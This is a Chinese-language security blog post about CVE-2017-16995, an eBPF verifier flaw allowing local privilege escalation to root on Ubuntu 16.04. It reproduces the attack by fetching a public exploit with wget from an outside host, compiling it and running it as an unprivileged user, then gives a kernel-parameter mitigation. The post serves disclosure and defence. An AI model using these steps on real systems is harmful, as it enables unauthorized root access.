開發者忘記打補丁?新版Ubuntu高危提權漏洞

作者:野火研習社·Arch3r

近日,有網友發布消息稱ubuntu最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,漏洞編號為CVE-2017-16995。小編好奇就對此漏洞進行了一番研究,該漏洞存在於調用eBPF bpf(2)的Linux內核系統中,當用戶提供惡意BPF程序使eBPF驗證器模塊產生計算錯誤,導致任意內存讀寫問題, 低許可權用戶可使用此漏洞獲得管理許可權。

意思的是,這個漏洞在老版本中已經得到修復,然而最新版本中仍然可以被利用,難道開發人員忘記打補丁了?不管怎樣,在漏洞得到修復前,該漏洞依然處於0day狀態,不得不重視!

影響範圍

經筆者測試 Ubuntu 16.04.1~16.04.4 均存在此漏洞

漏洞復現過程如下,接下來跟隨小編一起看下去吧!

進入實驗環境訪問如下地址:ichunqiu.com/course/614

筆者在自己的阿里雲伺服器上進行的復現,版本如下:

首先新建一個普通許可權用戶,配置默認為空即可

我們使用su arch3r切換到新建的普通用戶下,cd/tmp目錄,然後下載網友提供的EXP文件,鏈接如下:cyseclabs.com/exploits/

使用wget命令:

wget http://cyseclabs.com/exploits/upstream44.c

直接下載至/tmp目錄下(/tmp目錄許可權較低,一般情況下提權文件放在此目錄不存在許可權不足問題)

接下來開始編譯該文件,編譯命令修改命令如下:

gcc -o upstream44 upstream44.c

得到可執行文件upstream44

最後,執行剛剛編譯後的文件,成功提升至root許可權。

緩解措施

雖然官網暫時未發布補丁升級方案,但是可以通過修改內核參數來限制普通用戶使用bpf(2)系統調用的方式以規避風險。

修改命令如下

echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled

我們運行該命令後,再切換至普通用戶執行EXP查看效果

可以看見報錯:

error: Operation not permitted //操作不被允許。

Ubuntu的用戶群體很大,而本次漏洞尚未得到修復,建議大家在對風險進行評估後,先採用緊急的方法確保安全,然後坐等Ubuntu官網發布補丁,及時更新!

參考鏈接

cyseclabs.com/exploits/

arbitrary read+write via incorrect range tracking in eBPF

Ubuntu本地提權攻擊預警 - 3


推薦閱讀:

TAG:Ubuntu | 漏洞挖掘 | 補丁 |